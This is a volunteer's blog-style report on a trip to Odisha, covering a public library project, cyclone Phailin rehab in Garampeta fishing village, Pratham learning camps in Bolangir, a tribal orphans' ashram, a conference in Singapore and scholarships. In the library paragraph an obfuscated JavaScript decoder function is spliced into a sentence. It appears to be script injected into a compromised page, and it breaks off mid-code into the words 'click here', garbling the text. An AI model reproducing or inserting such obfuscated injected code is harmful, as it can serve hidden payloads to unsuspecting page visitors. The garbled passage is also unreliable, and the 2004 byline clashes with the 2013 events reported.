I report on a trip where I volunteered for two organizations: SEEDS (Sustainable Econ. and Edu. Development Society) and Pratham USA. I thank Intel Corp. for partially supporting my participation and paper presentation at the International Symposium on Electronic System Design (ISED) conference mentioned below.

Project Topics covered are:

  1. Berhampur Public Library site
  2. Phailin project in Rangailunda block/Garampeta
  3. Two Bolangir villages where Pratham work is on-going (no direct support of SEEDS)
  4. Kalinga Ashram for tribal orphan boys (no direct support of SEEDS)
  5. ISED-2013 conference in Singapore
  6. SEEDS scholarships for needy, meritorious post-secondary students from cyclone/flood-affected regions

Click a picture to see a larger view.

Berhampur Public Library: With a few friends and the support of SEEDS, I am attempting to build from scratch and establish a respectable public library in southern Odisha. [For the sorry state of libraries in that region, function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5click here] In that context, I visited Jagannath Yogadham at Gandhinagar, Brahmapur (Odisha) after meeting twice with Dr. Kamalesh Mishra, my longtime acquaintance and currently leading Ramakant math in Puri, who is the spirit and guide behind the Yoga center. With his support and his volunteers, we are starting a great collaboration (they are offering space, volunteer time, and some infrastructure). I had been working with his small team since 2012 Dec when we agreed to (don't know if I convinced them or they were already thinking) start a public library accessible to all.  This center is a now a publicly managed entity serving the needs of jails, police, several local schools, organizations and individuals for healthy and superior living. As my team mates at SEEDS believed, education is a quintessential area where we can make impact, attempting to work towards a world class library had entered into our common psyche. This center which now gets some support from the Brahmapur municipality for some construction work and teacher salary, reimagining a first-class public library there -- a critical need and gap in the major Brahmapur city region. No doubt it requires a huge amount of thought, skill, investment and goodwill. But there seems a reasonable hope and we had a very modest start with (1) designation of a room in the yoga center for library with fresh potential for expansion to upstairs being built, (2) initial furniture such as doored cabinets installed, (3) a (tiny) set of Pratham-donated and sundry books acquired, and (4) a zeal to start with help from you, my friends.

As you can see in the pictures below, the area was ravaged by cyclone Phailin -- walls collapsed, furnitures water-damaged, rooms storing meager valuables of, and a well supplying precious water to, the less-fortunate families nearby. Yet, I am encouraged by the spirit and willingness to push forward. You can also see the devastation in surrounding areas (my family lives a couple miles farther). You also see the second floor planned for construction this year which holds the potential to accommodate any future expansion of our initial library room, the one with the glass-door cabinets. Most activities are done by volunteers and it's expanding. What we next need most is to collect library materials (books, possibly a laptop, e-books, khan-academy-without-internet like materials, enthusiastic support, etc. to realize our vision for a world-class public library in southern Odisha serving the young and the old both well and over extended hours.

Please call me for more extensive description if you would like.

Garampetta fishing village -- SEEDS cyclone-rehab project: I met twice with Mr. Santosh Patnaik of the NGO CoSA that we are partnering with to provide mid-term rehab support for the Phailin devastated people. Then together we headed in my parents' vehicle towards Garampetta village on the Bay of Bengal, in visible distance from Gopalpur. On the way I saw abandoned filtering systems near wells (apparently the filtered water is bitter), and many fields of keuda plants. About 20% of the villagers lost their huts completely. I was told their village will be likely displaced (again!) to a farther/higher ground in near future due to the government's assessment of danger/difficulty.

Discussion with Community members – Mr. Boleya, Mr. Krishnamurty, and other community Members

1.  The villagers narrated their plight after the cyclone Phailin- how it affected their livelihood. The stories were horrific. People were shifted to nearby NIST College one day before the cyclone and returned on 13th of October, the day following Phailin. There are 270 fisherfolk families in the village and 98 families who were staying near the coast have become homeless as their houses were completely damaged.  The village remained under water for a couple of days and the relief could not reach even after 5 days of the Phailin. There are 42 boats in the village and all were completely damaged by the cyclone. In the meanwhile, Government has provided Rs.4500/ per boat as relief assistance.  I observed that the district administration was responsive around the time of disaster that involved the might cyclone followed by 7 days of flooding and rain. However, there is much remains to be done and followed up on and as the day of disaster recedes, the needed rehab operations are losing the administration/country's attention painfully fast.

2.  SEEDS and COSA have distributed school bag, Geometry box and note book and other stationery to school children studying in Garampetta Project School, the villagers said

3.  It was suggested by the team members to identify poor and vulnerable among them who badly need support as we have very limited resources. Clarifying the nature of support, the members shared that they have plan to repair 10 boats and 10 fishing nets. They suggested to organize a meeting among themselves for identifying the vulnerable folks, with consensus.

4.  Relating to the proposed livelihood support, the villagers informed that there is a unity in the village and whatever received by the village is shared equally among all of them and the livelihood support to be provided by SEEDS should also cover (equally) all the villagers.

5.  Alternatively it was also suggested to develop a revolving fund of Rs. 1 Lakh in the village where SEEDS will contribute Rs.50000/- and the rest shall be contributed by the villagers. A committee will be set up to develop the methodology of the operation of the revolving fund and the organizers will initially guide them in the management of the fund.  Villagers appreciated and accepted the proposal and for consensus among the people, this should also be discussed in a larger meeting, scheduled to be on 28th of December, 2013. [post script: at this village we are trying to see if a women-coordinated nanofinance style effort will work, as a first strategy. Here I had noticed that usually men spoke, so getting women involved and take charge could both be challenging and highly beneficial.]

Pratham in Bolangir: SEEDS and I have worked with Pratham a little since my Oregon days and here in Austin I support and volunteer some for Pratham-USA as well. Thus I could not say no to some leaders of the Pratham USA and especially their Austin chapter who asked me to spend some time observing Pratham activities in Odisha -- especially the Pratham Open School for Education in Ganjam at Polsara, and the Pratham Learning Camps in Bolangir near Patnagarh. As I had an extremely tight schedule, a lack of communication and distance prevented my Polsara visit. However, I was lucky to accompany my wife to Bolangir (her home district) and visit with the wonderful children and teachers at not one but two villages there :-)

Pratham works in primary and upper-primary levels and engages in teaching or supporting education in language, math and science areas. If you recall, this is a huge effort started by Dr. Madhav Chauhan, et al. Today, I am told, L&T finance is supporting the Gyanarpana project through which Pratham is covering 50 schools in two blocks, Patnagarh and Gondia blocks. I visited Khusabahali and Barpadar schools/villages, accompanied by my family and a district-level Pratham worker, Mr. Megharaj.

At Khusabahali, there were about 24 students from grade 1 to 5, and there was one Pratham-employed teacher and a volunteer teacher from the same village. They use innovative and effective methods (my family could relate to some techniques used in USA schools well-adapted to the native area). They provided instructions and learning materials -- almost like tuition but free and especially suited for the under-achievers in the class. The school was in holiday recess, and the village school grounds were used for the purpose. I spoke to the kids and reviewed how the teachers keep progress records -- I believe the learning camps are for some 22 days and help both Pratham and the kids achieve or refine their goals/approaches. Students learn reading a few stories correctly and solving arithmetic division. The observation was made that 85% of kids read a paragraph or story after the 22 days of training while 70% can do addition and subtraction.

Next up we visited the Barpadar School for the high school students. That day the focus was learning about the human skeleton. I spoke to the kids, quizzed them, and encouraged them to ask me questions. You can see that there are hands-on activities and sensual learning in action. I think the students pay some 57 rupees as fees. Both girls and boys were actively building skeletal structures from some everyday materials.

An improvement for future to consider is to involve and train regular teachers in teaching methods (as opposed to only teaching addressing students with learning gaps) that prove to be broadly beneficial.

Kalinga Ashram for the tribal orphan boys: My wife and I visited this Ashram providing a residential learning environment for 45 boys from grade 1 to 10. A friend from Vizag Mr. Banamali and my better-half Anu went with me to this wonderful little epitome nestled in the jungles. We were thoroughly impressed by the innocence of the resident kids, and were pained by the cyclone's devastation of their dear flora/fauna and broken several structures, as evident in the pictures. We thoroughly enjoyed meeting and speaking with the students and their few teachers, visited their library and vegetable gardens, took in the rippling and gurgles of a meandering steam. I encourage you to visit and support this institution. One of the teachers is a graduate from a blind school and he is rumored to be able to tell time even without sight... This institution is led by the gentleman in crutches, Mr. Ramesh Panda, a school-mate some 30 years ago!

Int'l Symposium on Electronic System Design (ISED-2013) was held in the beautiful campus of Nanyang Tech University in Singapore. (This was a research project and was not centered in Odisha unlike the other topics in this blog.) I chaired the technical sessions on Software System & Application Design and Wired/Wireless Communication. I presented a technical paper as the primary co-author could not attend. I spoke at the closing ceremony where the next year's venue, National Institute of Technology (NIT) Surathkal, was announced. SEEDS supports this conference in the tertiary education arena by providing a permanent address and website. I will have a separate update on some of the interesting scientific discussions and the road-map for next year.

SEEDS scholarship through VECT for post-secondary students:  Participated in giving scholarships to needy and meritorious students that are from the cyclone affected areas.

By Darshan Patra (2004)

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